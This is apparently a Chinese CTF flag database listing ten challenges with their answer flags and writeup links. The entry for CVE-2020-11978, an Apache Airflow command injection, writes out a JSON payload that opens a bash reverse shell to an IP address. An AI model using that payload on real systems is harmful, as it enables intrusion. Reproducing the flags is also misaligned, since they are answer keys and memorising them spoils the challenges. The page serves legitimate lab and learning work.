随波逐流信息安全网 www.1o1o.xyz

   [随波逐流]CTF Flags

软件版本:v1.0.0   数据版本: v20260526
序号 Website Type Title Value Writeup Competition Id
1 BUUCTF N1BOOK [第一章 web入门]SQL注入-1 n1book{note_union_injection} https://www.jianshu.com/p/92647fe53dd1 第一章 web入门 7924
2 封神台 WEB 变长的反序列化逃逸(考点:反序列化) - https://bbs.zkaq.cn/t/6246.html#CTF-107 - 15000
3 bugku PWN UAF4b CakeCTF{uaf_1s_3asy_w1th_tcache}_486512778b4 http://blog.lkan.onl/posts/cakeCTF_20... cakectf2021 501
4 封神台 WEB 给你一雪球(考点:还原二维码) - https://bbs.zkaq.cn/t/6183.html - 14887
5 ctfshow PWN.1024杯 1024_happy_unlink flag{9969e2ddd64088f71af0caa891b4dc63} ... 1024杯 3425
6 ctfshow MISC 和36D有关系 flag{36D_is_beautyful} https://blog.csdn.net/m0_68012373/art... - 3091
7 NSSCTF 日志审计 [陇剑杯 2021]日志分析(问1) NSSCTF{www.zip} https://www.cnblogs.com/zy4024/p/CTF-LOG.html 陇剑杯 10353
8 NSSCTF RSA [MoeCTF 2022]一次就好 NSSCTF{W0w_y02_k5ow_w6at_1s_one_t1m3_pa7} https://blog.csdn.net/suisuisama/arti... MoeCTF 11048
9 BUUCTF Web [2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th]jspxcms 无 https://cloud.tencent.com/developer/a... 2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th 5785
10 春秋云境 WEB CVE-2020-11978 CVE-2020-11978是Apache Airflow命令注入漏洞,攻击者可通过触发示例DAG执行任意命令。复现步骤包括启动Vulhub环境、修改DAG配置触发命令注入,例如使用{"message":"'\";bash -i >& /dev/tcp/192.168.230.234/9999 0>&1;#"}反弹shell 2 3。修复建议为升级至1.10.10以上版本或禁用默认DAG。 https://blog.csdn.net/weixin_43847838... 春秋云境 14678